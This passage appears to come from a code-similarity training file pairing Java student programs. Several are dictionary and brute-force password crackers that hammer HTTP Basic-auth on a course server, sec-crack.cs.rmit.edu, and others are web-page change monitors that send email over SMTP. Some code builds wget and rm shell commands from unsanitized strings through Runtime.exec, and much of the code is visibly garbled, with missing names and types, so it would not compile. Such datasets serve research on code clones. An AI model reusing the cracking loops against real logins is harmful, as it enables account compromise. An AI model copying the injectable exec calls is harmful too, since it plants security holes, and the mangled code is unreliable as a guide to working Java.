              } catch(IOException ioe)
                 {System.out.println("IOException");
                  ioe.printStackTrace();
                 }
                catch(InterruptedException iex)
                 {System.out.println("Interrupted Exception");
                 iex.printStackTrace();
                 }

           }


           static Object getFullPath(String fname)
           {
              

              if(fname.charAt(0)== '/') 
                 fname=urlStr+fname;  
              else if(fname.charAt(0) != 'h')
                 fname=urlStr+'/'+fname;

              getImgFile(fname);

              return (Object)fname; 
           }

           static void getImgFile(String fullPath)
           {
              

              try
              {
                 qproc=Runtime.getRuntime().exec("/usr/local//wget "+fullPath);
                 qproc.waitFor();

              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (InterruptedException intex)
                {
                   System.out.println("Interrupted Exception");
                   intex.printStackTrace();
                }
           }

           static void rmImgFile(String delpath)
           {
              

              try
              {
                 qproc=Runtime.getRuntime().exec("/usr//rm "+ delpath);
                 qproc.waitFor();

              } catch (IOException ioe)
                {
                   System.out.println("IOException");
                   ioe.printStackTrace();
                }
                catch (InterruptedException intex)
                {
                   System.out.println("Interrupted Exception");
                   intex.printStackTrace();
                }
           
           }

           static Object getImgNames(String prsName)
           {
                  
          
              String str = new StringTokenizer(prsName, "/", false);

              while(str.hasMoreTokens())
              {
                 str=bgf.nextToken();
                 if ((str.indexOf("gif") > 0) || (str.indexOf("jpg") > 0))
                    prsName=str;
              }
              return (Object)prsName;
           }
        }
  - source_sentence: "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport java.io.*;\npublic class Dictionary   {\n  static String userName;\n  static  URL   url;\n  static URLAuthenticator  urlAuthenticator;\n  static int noOfAttempts;\n  \n  public Dictionary() {\n  }\n\n  public static void main (String args[])  {\n     Properties props = System.getProperties();\n     props.put(\"http.proxyHost\", \"bluetongue.cs.rmit.edu.:8080\");\n     \n     System.out.println(props.get(\"http.proxyHost\"));\n     BufferedReader inFile = null;\n     \n        try {\n\t          if (args.length < 1)  {       \n\t\t         System.out.println (\"Usage  : java Dictionary /usr/share/lib/dict/words\");\n                         System.exit(1);\n\t\t  }\t \n\t    \t  inFile = new BufferedReader (new FileReader(args[0]));\n\n\n\n\t    \t  breakPassword(inFile);\n\t\t}\n\t\t\n\t\tcatch (FileNotFoundException e) { \n\t\t    System.err.println(e.getMessage());\n\t\t    System.exit(1);\n                }\n                catch (IOException e) {                  \n                    System.err.println(e.getMessage());\n                    System.exit(1);\n         }\n\t finally {\n    \t    try {\n\t\t     inFile.close();  \n\n\t         }\n\t    catch (IOException ex) {ex.printStackTrace();}  \n\t}\n\n }\n private static void  breakPassword (BufferedReader file) throws\n IOException {\n     String password=\"  \";\n     userName=\"\";\n     boolean found= false;\n     MyHttpURLConnection    httpURLConnection;\n     String passBase64=\" \";\n     urlAuthenticator =  new URLAuthenticator(userName);\n     HttpURLConnection   u=null;\n     String  input;\n\ttry {\n\t       \n\t        url  = new URL (\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n     \t    \n            } catch (MalformedURLException  e){\n\t    } catch  (IOException  io) {io.printStackTrace();}\n\t\n        while (( input = file.readLine()) != null) {\n\t      if (input.length() <=3)   {\n                  password = input;\n\t\t  password =\":\"+ password;\n   \t         \n                  try {\n                       u = (HttpURLConnection)url.openConnection();\n\t\t       passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n                       u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t         \n\n\t\t\t\n                       u.connect();\n\t\t       noOfAttempts++;\t\n\t\t    if (u.getContentLength() != 0) {    \n\t\t       \n\t\t       if (u.getResponseCode() ==   HttpURLConnection.HTTP_OK  ) {\n\t\t          \n\t                   found=true;\n   \t\t          System.out.println(\"Your User Name : Password Combination is :\"+password+ \n\t\t\t  \"   \"+ \" Found by  Thread\");\n\t\t\t  System.out.println(\"   \");\n\t\t\t  System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t  \n\t\t          System.exit(0);\n\t\t       }\t  \n                      \n\t\t   }\n\n\t\t  } catch  (ProtocolException  px) {px.printStackTrace();\n\t\t  } catch (BindException e){e.printStackTrace();\n\t\t  } catch (IndexOutOfBoundsException  e3){e3.printStackTrace();\n\t\t  } catch  (IOException  io) {io.printStackTrace();\n\t\t  } finally {u.disconnect();\n\t\t  }\n              }\n        }\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n }\n}\nclass URLAuthenticator  extends Authenticator   {\n   private String uName;\n   String passwd;\n   static private char[] password;\n   public URLAuthenticator(String uName) {\n     this.uName = uName;\n   }\n   public void setPassword(String passwd)  {\n\n     this.passwd=passwd;\n     password=passwd.toCharArray();\n\n   }\n\n   public PasswordAuthentication getPasswordAuthentication()  {\n\n\t PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);\n \t return  passwordAuthentication;\n   }\n}\nclass MyHttpURLConnection extends HttpURLConnection  {\n    public MyHttpURLConnection(URL url) {\n       super(url);\n    }\n    public void disconnect() {\n    }\n    public boolean usingProxy() {\n        return true;\n    }\n    public void connect() {\n    }\n}\n\n\n         \n\n\n"
    sentences:
      - "import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class  Dictionary\n{\n\n\tprivate String result =\"\";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t       public customAuthenticator(String passwd)\n           {\n            this.pass = passwd;\n           }\n\n\t       protected PasswordAuthentication getPasswordAuthentication()\n           {\n\t                 return new PasswordAuthentication(\"\",pass.toCharArray());\n           }\n           public String pass;\n    }\n\n    public Dictionary() {\n\n        DataInputStream dis = null;\n        String record = null;\n        int recCount = 0, flag=0;\n\t    String result=\"\";\n        java.util.Date d = java.util.Calendar.getInstance().getTime();\n        System.out.println(d.toString());\n\n\n        String url = \"http://sec-crack.cs.rmit.edu./SEC/2/\";\n\n\n\t\tint count=1;\n\t\tString passwd=new String();\n        HttpURLConnection connection = null;\n        URL u = null;\n\n        try\n        {\n         u = new URL(url);\n         File f = new File(\"/usr/share/lib/dict/words\");\n         FileInputStream fis = new FileInputStream(f);\n         BufferedInputStream bis = new BufferedInputStream(fis);\n         dis = new DataInputStream(bis);\n\n                while ( (record=dis.readLine()) != null )\n\t\t            {\n\t\t              System.out.println(count+ \" ) \" + record);\n                      count++;\n                      connection = (HttpURLConnection) u.openConnection();\n                      Authenticator.setDefault(new customAuthenticator(record));\n                        if (connection.getResponseCode()==200)\n                            {   System.out.print(\"The password is : \"+record);\n                                System.out.println();\n                                java.util.Date d1 = java.util.Calendar.getInstance().getTime();\n                                System.out.println(d1.toString());\n                                System.out.println(\"\\ntime taken in seconds:\"+ (d1.getTime() - d.getTime())/1000+\"\\n\");\n                                System.exit(0);\n                            }\n\n                    connection.disconnect();\n                        }\n                }\n            catch(Exception e) { System.err.println(e); }\n    }\n\n\tpublic static void main(String[] args)\n\t{\n\n\t\tDictionary  = new Dictionary();\n\n\n\t}\n}"
      - "import java.net.*;\nimport java.io.*;\n\n public class Bruteforce {\n int attempts = 0;\n  int l = 65;int m = 65;int n = 65;\n   URLConnection conn = null;\n\n   public static void  main(String args[]){\n     \n\tBruteforce a = new Bruteforce();\n        a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n\n       String login = new String(\"\");\n       String url = new String(\"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n       String passwd = new String();\n\n\t passwd = getPasswd();\n         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println(\"Password Cracked Successfully!!!\");\n           System.out.println(\"The passsword is :\" + passwd + \"and got after \" + attempts + \" tries\");\n       }\n     catch (IOException e) {\n    \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println(\"Message :\" +r);\n     System.out.println(\"Trying again with new password\");\n     Bruteforce a = new Bruteforce();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println(\"Trying again with new password\");\n\tBruteforce a = new Bruteforce();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n    attempts++;\n\n    char i1 = 0;\n    char j1 = 0;\n    char k1 = 0;\n    \n     int i= l;     int j= m;     int k= n;\n\n    String c = new String();\n    String c1 = new String();\n    String c2 = new String();\n    String c3 = new String();\n    String c4 = new String();\n    boolean flag;\n\n    for (i=l;i<123;i++)\n    for (j=m;j<123;j++)\n    for (k=n;k<123;k++)\n    {\n        if( flag = true )\n        {\n\n    i1 = (char)i;\n    j1 = (char)j;\n    k1 = (char)k;\n\n    if (i==91) i=97;\n    if (j==91) j=97;\n    if (k==91) k=97;\n\n    c = i1+\"\";\n    c1 = j1+\"\";\n    c2 = k1+\"\";\n    c3 = c.concat(c1);\n    c4 = c3.concat(c2);\n    }else break;\n    }\n    flag = false;\n    return c4;\n  }\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty (\"Authorization\", PasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String PasswordBase64(String username, String password) {\n     return \" \" + base64Encode (username + \":\" + password);\n     }\n\n private final static char base64Array [] = {\n       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',\n       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',\n       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n       'w', 'x', 'y', 'z', '0', '1', '2', '3',\n       '4', '5', '6', '7', '8', '9', '+', '/'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = \"\";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += \"=\";\n          break;\n        case  2:\n          encodedString += \"==\";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n"
      - "import java.net.*; \nimport java.io.*; \nimport java.util.regex.*;\nimport java.util.Date;\nimport java.util.*;\nimport java.text.*; \n\n\n\n\npublic class WatchDog { \n  public static BufferedReader in;\n  \n\n  public static int LIMITINMINUTES=60*24;\n  public static int TIMELIMIT=LIMITINMINUTES*1000*60;\n  public static void main(String[] args) throws Exception { \n    \n    String watchedPage = \"http://www.cs.rmit.edu./students/\";\n    String currentPage = \"\";  \n    \n    \n    System.out.println(\" stop the program, press \\\"Alt + C\\\"\");\n    \n    boolean loggedout=false;\n    while (!loggedout){\n      \n      currentPage=\"\";\n      \n      \n      Date date = new Date();\n       startTime=date.getTime();\n      \n      \n      URL cs = new URL(watchedPage); \n      HttpURLConnection connection;\n      URLConnection csc = cs.openConnection();      \n      try {\n\tBufferedReader in = new BufferedReader(new InputStreamReader(csc.getInputStream())); \n\tString inputLine; \n\t\n\twhile ((inputLine = in.readLine()) != null) {\n\t  currentPage = currentPage+inputLine;\n\t}\n\t\n      }\n      catch (IOException s) {    \n      }\n      finally {\n\twhile(in!=null)\n          in.next();\n      }\n      \n      String lastPage=readData();\n      if (lastPage.trim().equals(currentPage.trim())) {\n\tSystem.out.println(\"Pages match, nothing  email.\");\n      }\n      else {\n\t\n\t\n\tString checkCurrentPage = currentPage.trim();\n\tString checkLastPage = lastPage.trim();\n\tint iterations;\n\t\n\tboolean lastLongestString;\n\tif (checkCurrentPage.length()<checkLastPage.length()) {\n          iterations = checkCurrentPage.length();\n\t  lastLongestString = true;\n\t}\n\telse {\n          iterations = checkLastPage.length();\n\t  lastLongestString = false;\n\t  \n\t}\n\tString additions = \"Here  the additions  the : \\n\";\n\tboolean add=false;\n\tString subtractions = \"Here  the parts removed from the : \\n\";\n\tboolean sub=false;\n\tfor (int count=0; count<iterations; count++) {\n          \n\t  if (checkLastPage.length()>count && checkCurrentPage.length()>count){\n\t  \n            if (checkLastPage.charAt(count)!=(checkCurrentPage.charAt(count))) {\n\t      \n\t      \n\t      if (count<20){\n\t\tadditions = \"Sorry changes   together  distinguish additions and subtractions  . Here is where  : \"+ checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcount = iterations;\n\t      }\n\t      else {\n\t\t\n\t\t\n\t\tcheckCurrentPage= checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\tcheckLastPage=checkLastPage.substring(count, checkLastPage.length());\n\t\titerations=iterations-count;\n\t\tcount=0;\n\n\t\t\n\t\t\n\t\t\n\t\tString regexAdd=\"\";\n\t\tif (checkLastPage.length()<20){\n\t\t  regexAdd=checkLastPage.substring(count, checkLastPage.length());\n\t\t}\n\t\telse {\t  \n\t\t  regexAdd=checkLastPage.substring(0,19);\n\t\t}\n\t\tString [] changes=checkCurrentPage.split(regexAdd, 2);\n\t\tint changeslength=changes.length;\n\t\t\n\t\tif (changeslength>1){\n\t\t  \n\t\t  add=true;\n\t\t  additions = additions + changes[0];\t  \n\t\t  \n\t\t  \n\t\t  if (changeslength>1){\n\t\t    checkCurrentPage=regexAdd+changes[1];\n\t\t  }\n\t\t  else {\n\t\t    if (lastLongestString==true) \n\t              count=iterations;\n\t\t  }  \n\t\t}\n\t\telse { \n\t  \t\t  \n\t\t  \n\t\t  \n\t\t  String regexSub=\"\";\n\t\t  if (checkCurrentPage.length()<20){\n\t\t    regexSub=checkCurrentPage.substring(count, checkCurrentPage.length());\n\t\t  }\n\t\t  else {\t  \n\t\t    regexSub=checkCurrentPage.substring(0,19);\n\t\t  }\n\t\t  String [] changesSub=checkLastPage.split(regexSub, 2);\n\t\t  int changeslengthSub=changesSub.length;\n\t\t  \n\t\t  if (changeslengthSub>1){\n\t\t    \n\t\t    sub=true;\n\t\t    subtractions = subtractions + changesSub[0];\t  \n\t\t    \n\t\t    \n\t\t    if (changeslengthSub>1){\n\t\t      checkLastPage=regexSub+changesSub[1];\n\t\t    }\n\t\t    else {\n\t\t      if (lastLongestString==false) \n\t\t      count=iterations;\n\t\t    }\n\t\t    \n\t\t    \n\t\t  }\n\t\t}\n\t      }\n\n            } \n\t  } \n\t} \n\t\n\t\n\tString emailBody=\"Changes   have been . \\n\"+additions+subtractions;\n\n\t\n\tsendEmail(emailBody);\n      }\n\n      \n      writeData(currentPage);\n      \n      \n      wait24(startTime);\n    } \n  } \n  \n  \n  private static void wait24( int startTime) {\n     boolean waiting=true;\n     while(waiting){\n       Date endDate = new Date();\n        endTime=endDate.getTime();\n       \n       \n       if (endTime>(TIMELIMIT+startTime)){\n         \n          waiting=false;\n       }\t\n     }\n  } \n     \n  \n  public static String readData() {\n    String data;\n    String lastPage=\"\";\n    try {\n      BufferedReader in = new BufferedReader(new FileReader(\"LastVisitedPage.html\"));\n      while ((data = in.readLine())!=null) {\n        lastPage= lastPage + data +\"\\n\";\n      }\n      \n    }\n    catch (FileNotFoundException e1) {\n      System.exit(0);\n    }\n    catch (IOException e2) {\n      System.out.println(\"IO Exception, exiting\");\n      System.exit(0);\n    }\t    \n    finally {\n      try {\n\tif (null!=in) {\n        in.next();\n\t}\n    }\n    catch (IOException e3) {}\n    }\n    return lastPage;\n  }\n  \n  \n  public static void writeData(String currentPage) {\n    PrintWriter out;\n      try {\n\tout = new PrintWriter (new BufferedWriter(new FileWriter(\"LastVisitedPage.html\")));\n\tout.println(currentPage);\n\t\n\t\n      }\n      catch (IllegalArgumentException e1) {\n\tSystem.out.println (\"Sorry, 't write  file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n      }\n      catch (IOException e2) {\n\tSystem.out.println (\"Sorry, 't write  file. None of changes in this session have been saved\");\n\tSystem.exit(0);\n\t}\n      finally {}    \n  }  \n\n \n \n \n  public static void sendEmail(String emailBody){\n    \n    Socket smtpSocket =null;\n    DataOutputStream os = null;\n    InputStreamReader is = null ;\n\n    Date dDate = new Date();\n    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);\n\n    try{ \n      smtpSocket = new Socket(\".rmit.edu.\", 25);\n      os = new DataOutputStream(smtpSocket.getOutputStream());\n      is = new InputStreamReader(smtpSocket.getInputStream());\n      BufferedReader  = new BufferedReader(is);\n\n      if(smtpSocket != null && os != null && is != null){ \n      \n\ttry {   \n\t  os.writeBytes(\"HELO .rmit.edu.\\r\\n\");\n\t  \n\t  \n\t  os.writeBytes(\"MAIL From: <@.rmit.edu.>\\r\\n\");\n\n\t  \n\t  os.writeBytes(\"RCPT : <@cs.rmit.edu.>\\r\\n\");\n\n\t  \n\t  \n\t  os.writeBytes(\"DATA\\r\\n\");\n\n\t  os.writeBytes(\"X-Mailer: Via Java\\r\\n\");\n\t  os.writeBytes(\"DATE: \" + dFormat.format(dDate) + \"\\r\\n\");\n\t  os.writeBytes(\"From:  <@cs.rmit.edu.>\\r\\n\");\n\t  os.writeBytes(\":   <@cs.rmit.edu.>\\r\\n\");\n\n\t  os.writeBytes(\"Subject:  updated\\r\\n\");\n\t  os.writeBytes(emailBody + \"\\r\\n\");\n\t  os.writeBytes(\"\\r\\n.\\r\\n\");\n\t  os.writeBytes(\"QUIT\\r\\n\");\n\n\t  \n\t  \n\t  String responseline;\n\t  while((responseline=is.readLine())!=null){  \n            \n            if(responseline.indexOf(\"Ok\") != -1) {\n            break;\n            }\n\t  }\n\t}\n\tcatch(Exception e){  \n\t  System.out.println(\"Cannot send email as  error occurred.\");  \n\t}\n      }\n      else \n\tSystem.out.println(\"smtpSocket  another variable is null!\");\n    } \n    catch(Exception e){ \n      System.out.println(\"Host unknown\"); \n    }\n  } \n   \n} \n\n\n"
  - source_sentence: "\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\n\npublic class WatchDog extends Thread {\n\n       private HttpURLConnection httpUrlCon;\n       private URL stdurl;  \n       private String spec = \"http://www.cs.rmit.edu./students/\"; \n       private String command=\"\";                \n\n       private String firstModified =\"\";     \n       private String secModified = \"\";      \n       private String fileModified = \"\";     \n\n       private BufferedReader instd;        \n       private Vector firstVector;          \n       private Vector secondVector;         \n       private Vector tmpVector;            \n\n       private  int intervalTime = 24*60*60*1000; \n       private boolean bstop = false;             \n       private int count = 0;                          \n       private int totalDuration = 30*24*60*60*1000;   \n\n       private String yourSMTPserver = \"mail.rmit.edu.\";        \n       private int smtpPort = 25;                                 \n       private String mailFrom = \"@yallara.cs.rmit.edu.\";    \n       private String mailTo   = \"@.rmit.edu.\";  \n       private String subject = \"\";                              \n       private String message =\"\";                               \n\n       private  Socket socketsmtp;     \n       private  BufferedReader emailin;\n       private  PrintStream emailout;  \n       private  String reply = \"\";     \n       \n       public WatchDog(){\n              firstVector = new Vector();\n              secondVector = new Vector();\n              tmpVector = new Vector();\n       }\n       \n       public void FirstRead(){\n              readContent(firstVector);\n              firstModified = fileModified;\n       }\n       \n       public void run(){\n              while(!bstop){\n                    readPageAgain();\n              }\n       }\n       \n       public void readPageAgain(){\n              try{\n                  Thread.sleep(intervalTime);\n\n              }catch(InterruptedException e){e.printStackTrace();}\n              count += intervalTime;\n              readContent(secondVector);\n              secModified = fileModified;\n\n              if(firstModified.equals(secModified)){\n                 if(count == totalDuration)\n                    bstop =true;\n                    message = \"After \" + (double)intervalTime/(60*60*1000) + \" hours  is  change!\";\n                    subject = \" is  change  the web \";\n                    try{\n                        doSendMail(mailFrom, mailTo, subject, message);\n                    }catch (SMTPException e){}\n              }\n              else if(!(firstModified.equals(secModified))){\n                     if(count == totalDuration)\n                       bstop = true;\n                    message = getChangeMessage();\n                    subject = \"  some changes  the web \";\n                    try{\n                        doSendMail(mailFrom, mailTo, subject, message);\n                    }catch(SMTPException e){}\n\n                    firstModified = secModified;\n                    firstVector.clear();\n                    for(int i=0; i<secondVector.size(); i++){\n                        firstVector.add((String)secondVector.get(i));\n                    }\n            }\n       }\n       \n       public void readContent(Vector avect){\n\n              String fmod =\"\";\n              if(spec.indexOf(\"http://www.cs.rmit.edu./\")!=-1){\n                 fmod = \"File last modified :\";\n                 command = \"lynx -nolist -dump \" + spec;\n              }\n              else {\n                    fmod = \"Last-Modified:\";\n                    command =\"lynx -mime_header -dump \" +spec;\n              }\n              try{\n                  Runtime runtime = Runtime.getRuntime();\n                  Process p = runtime.exec(command);\n                  instd = new BufferedReader(new InputStreamReader(p.getInputStream()));\n                  String str=null;\n                  avect.clear();\n                  while((str = instd.readLine())!= null){\n                         avect.add(str);\n                         if(str.indexOf(fmod) !=-1){\n                            fileModified = str;\n                         }\n                  }\n                  instd.print();\n              }catch(MalformedURLException e){System.out.println(e.getMessage());}\n               catch(IOException e1){System.out.println(e1.getMessage());}\n       }\n\n       \n       public String getChangeMessage(){\n              String mssg = \"\";\n              for(int i =0; i<secondVector.size();i++){\n                  tmpVector.add((String)secondVector.get(i));\n              }\n              \n              for(int i=0; i<firstVector.size(); i++){\n                  String line = (String)(firstVector.get(i));\n                  int same = 0;\n                  for(int j=0; j<tmpVector.size(); j++){\n                      String newline = (String)(tmpVector.get(j));\n                      if(line.equals(newline)){\n                           if(same == 0){\n                              tmpVector.remove(j);\n                              same++;\n                           }\n                      }\n                  }\n              }\n              \n              for(int i = 0; i<secondVector.size(); i++){\n                  String line = (String)(secondVector.get(i));\n                  int same =0;\n                  for(int j=0; j<firstVector.size(); j++){\n                      String newline = (String)(firstVector.get(j));\n                      if(line.equals(newline)){\n                         if(same == 0){\n                            firstVector.remove(j);\n                            same++;\n                         }\n                      }\n                  }\n              }\n              if(firstVector.size()!=0){\n                  mssg += \"The following lines  removed in the latest modified web : \\r\\n\";\n                  for(int i=0; i<firstVector.size(); i++){\n                      mssg +=(String)firstVector.get(i) + \"\\r\\n\";\n                  }\n              }\n              if(tmpVector.size()!=0){\n                  mssg += \"The following lines  new ones in the latest modified web : \\r\\n\";\n                  for(int i=0; i<tmpVector.size(); i++){\n                      mssg += (String)tmpVector.get(i) + \"\\r\\n\";\n                  }\n              }\n\n              return mssg;\n       }\n\n       \n       public void setMonitorURL(String url){\n              spec = url;\n       }\n       \n       public void setMonitorDuration(int t){\n              totalDuration = t*60*60*1000;\n       }\n       \n       public void setMonitorInterval(int intervalMinutes){\n              intervalTime = intervalMinutes*60*1000;\n       }\n       \n       public void setSMTPServer(String server){\n              yourSMTPserver = server;\n       }\n       \n       public void setSMTPPort(int port){\n              smtpPort = port;\n       }\n       \n       public void setMailFrom(String mfrom){\n              mailFrom = mfrom;\n       }\n       \n       public void setMailTo(String mto){\n              mailTo = mto;\n       }\n       \n       public String getMonitorURL(){\n              return spec;\n       }\n       \n       public  getDuration(){\n              return totalDuration;\n       }\n       \n       public  getInterval(){\n              return intervalTime;\n       }\n       \n       public String getSMTPServer(){\n              return yourSMTPserver;\n       }\n       \n       public int getPortnumber(){\n              return smtpPort;\n       }\n       \n       public String getMailFrom(){\n              return mailFrom;\n       }\n       \n       public String getMailTo(){\n              return mailTo;\n       }\n       \n       public String getServerReply() {\n              return reply;\n       }\n       \n       public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{\n              connect();\n              doHail(mfrom, mto);\n              doSendMessage(mfrom, mto, subject, msg);\n              doQuit();\n       }\n       \n       public void connect() throws SMTPException {\n              try {\n                   socketsmtp = new Socket(yourSMTPserver, smtpPort);\n                   emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));\n                   emailout = new PrintStream(socketsmtp.getOutputStream());\n                   reply = emailin.readLine();\n                   if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}\n                   else {\n                         throw new SMTPException(\"Error connecting  SMTP server \" + yourSMTPserver + \"  port \" + smtpPort);\n                   }\n             }catch(Exception e) { throw new SMTPException(e.getMessage());}\n       }\n       \n       public void doHail(String mfrom,  String mto) throws SMTPException {\n              if (doCommand(\"HELO \" + yourSMTPserver))\n                  throw new SMTPException(\"HELO command Error.\");\n              if (doCommand(\"MAIL FROM: \" + mfrom))\n                  throw new SMTPException(\"MAIL command Error.\");\n              if (doCommand(\"RCPT : \" + mto))\n                  throw new SMTPException(\"RCPT command Error.\");\n       }\n       \n       public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {\n\n              Date date = new Date();\n\t          Locale locale = new Locale(\"\",\"\");\n\t          String pattern = \"hh:mm: a',' dd-MMM-yyyy\";\n\t          SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);\n\t          formatter.setTimeZone(TimeZone.getTimeZone(\"Australia/Melbourne\"));\n              String sendDate = formatter.format(date);\n\n              if (doCommand(\"DATA\"))\n                  throw new SMTPException(\"DATA command Error.\");\n              String header = \"From: \" + mfrom + \"\\r\\n\";\n              header += \": \" + mto + \"\\r\\n\";\n              header += \"Subject: \" + subject + \"\\r\\n\";\n              header += \"Date: \" + sendDate+ \"\\r\\n\\r\\n\";\n              if (doCommand(header + msg + \"\\r\\n.\"))\n                 throw new SMTPException(\"Mail Transmission Error.\");\n       }\n       \n       public boolean doCommand(String commd) throws SMTPException {\n               try {\n                    emailout.print(commd + \"\\r\\n\");\n                    reply = emailin.readLine();\n                    if (reply.charAt(0) == '4' || reply.charAt(0) == '5')\n                        return true;\n                    else\n                        return false;\n               }catch(Exception e) {throw new SMTPException(e.getMessage());}\n       }\n       \n       public void doQuit() throws SMTPException {\n              try {\n                   if (doCommand(\"Quit\"))\n                       throw new SMTPException(\"QUIT Command Error\");\n                   emailin.put();\n                   emailout.flush();\n                   emailout.send();\n                   socketsmtp.put();\n              }catch(Exception e) { }\n       }\n}"
    sentences:
      - |
        import java.Object;
        import java.io.*;
        import java.String;
        import java.util.*;

        class Dictionary{

              public static void main(String [] args){
                      try
                        {
                        Date d = new Date();
                        String line1="";
                        String ps="";
                        String file1 = "words.txt";
                        String file2 = "index.html";
                        String endline="Authorization failed.";
                        String [] cmd = new String[4];
                        cmd[0] = "wget";
                        cmd[1] = "--http-user=";
                        cmd[3] = "http://sec-crack.cs.rmit.edu./SEC/2/";

                        FileReader fr1 = new FileReader(file1);
                        BufferedReader in1 = new BufferedReader(fr1);
                        while((line1 = in1.readLine())!=null)
                        {
                          try{
                            cmd[2] = connect(line1);
                            Runtime.getRuntime().exec(cmd);
                            if(line1.length()==3)
                              ps = line1;
                            System.out.println(cmd[2]);
                            File f = new File(file2);
                            if(f.exists())
                            {
                            System.out.println("password: " + ps);
                            break;
                            }
                           }
                            catch(IOException ex)
                            {
                                System.out.println("hello1");
                            }

                        }
                        Date end = new Date();
                        System.out.println(d.toString());
                        System.out.println(end.toString());
                        System.out.println("Seconds: " + (end.getSeconds()-d.getSeconds()));
                       }

                    catch(IOException e)
                    {
                      System.out.println("hello,didnt find file.");
                    }
              }
            public static String connect(String str1)
                    {
                         char data[] = {'-','-','h','t','t','p','-','p','a','s','s','w','d','='};
                         String str = new String(data);
                         return str + str1;
                    }

        }
      - "import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog(\"Program started at \" + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog(\"Running run at \" + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog(\"Program terminated at \" + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = \"watchDogHash_rcroft.\";\n        String watchDogPageFile = \"watchDogPage_rcroft.html\";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog(\"Exception: \" + e);\n            }\n        